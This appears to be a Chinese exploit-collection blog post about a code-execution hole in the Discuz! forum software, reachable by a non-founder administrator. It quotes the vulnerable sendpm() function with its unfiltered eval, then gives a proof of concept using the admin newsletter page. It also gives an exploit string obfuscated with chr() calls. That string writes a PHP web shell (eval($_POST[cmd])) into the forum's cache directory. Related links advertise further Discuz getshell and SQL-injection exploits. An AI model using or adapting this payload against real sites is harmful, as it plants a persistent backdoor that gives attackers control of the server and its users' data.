Discuz非创始人管理员代码执行

2010, October 19, 1:18 PM. oday收藏
Submitted by admin

global.func.php

 

function sendpm($toid, $subject, $message, $fromid = '') {

          if($fromid === '') {
                  require_once DISCUZ_ROOT.'./uc_client/client.php';
                  $fromid = $discuz_uid;
          }
          if($fromid) {
                  uc_pm_send($fromid, $toid, $subject, $message);
          } else {
                  global $promptkeys;
                  if(in_array($subject, $promptkeys)) {
                          $type = $subject;
                  } else {
                          extract($GLOBALS, EXTR_SKIP);
                          require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
                          eval("\$message = addslashes(\"".$message."\");"); //无过滤,可插入代码
                          $type = 'systempm';
                          $message = '<div>'.$subject.' {time}'.discuzcode($message, 1, 0).'</div>';
                  }
                  sendnotice($toid, $message, $type);
          }
  }

 

 

POC:
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息,通知内容为:{${phpinfo()}}

EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'<?php eval($_POST[cmd])?>');) :

${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

Tags: discuz

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Discuz!X2.5 Release 20120407 Getshell 0day (浏览: 21116, 评论: 0)
Discuz! X2.0 SQL注入漏洞 EXP (浏览: 22044, 评论: 0)
Discuz!NT 2.x – 3.5.2 (浏览: 16685, 评论: 0)
DiscuzX1-1.5 Sql 0day (浏览: 14212, 评论: 0)
discuz x1.5 discuz 7.2 后台getshell 0day通杀0day (浏览: 43266, 评论: 0)
DISCUZX1.5 本地文件包含漏洞 (浏览: 49966, 评论: 0)
DiscuzX1.5 门户管理权限SQL注入漏洞 (浏览: 23008, 评论: 0)
Discuz!后台怎么拿到Webshell (浏览: 15734, 评论: 0)
dz~~~~马后炮 (浏览: 10482, 评论: 0)
Discuz 7.0-7.2后台拿Shell (浏览: 18444, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):